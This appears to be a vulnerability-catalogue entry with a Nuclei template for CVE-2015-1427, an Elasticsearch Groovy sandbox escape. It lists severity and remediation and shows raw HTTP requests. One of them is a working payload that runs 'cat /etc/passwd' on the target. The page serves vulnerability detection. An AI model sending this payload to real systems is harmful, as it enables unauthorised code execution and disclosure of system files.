| Title | ElasticSearch - Remote Code Execution |
|---|---|
| Author | pikpikcu |
| Severity | High |
| Impact | Successful exploitation of this vulnerability could allow an attacker to execute arbitrary code on the affected system. |
| Remediation | Apply the latest security patches and updates provided by ElasticSearch to fix the deserialization vulnerability. |
| CVSS Score | 7.5 |
| EPSS Score | 0.92326 |
| CVE ID | CVE-2015-1427 |
| CWE ID | CWE-284 |
| Fofa Query | index_not_found_exception |
| Tags | cve2015 cve packetstorm elastic rce elasticsearch kev vkev vuln |
ElasticSearch before 1.3.8 and 1.4.x before 1.4.3 allows remote attackers to bypass the sandbox protection mechanism and execute arbitrary shell commands via a crafted script to the Groovy scripting engine.
POST /website/blog/ HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Knoppix; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36
Connection: close
Content-Length: 22
Accept: */*
Accept-Language: en
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
{
"name": "test"
}
POST /_search HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (ZZ; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36
Connection: close
Content-Length: 169
Accept: */*
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
{"size":1, "script_fields": {"lupin":{"lang":"groovy","script": "java.lang.Math.class.forName(\"java.lang.Runtime\").getRuntime().exec(\"cat /etc/passwd\").getText()"}}}
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2015/CVE-2015-1427.yaml
🦈 Packet Capture: ⬇️ Download cve-2015-1427.pcap
N/AN/A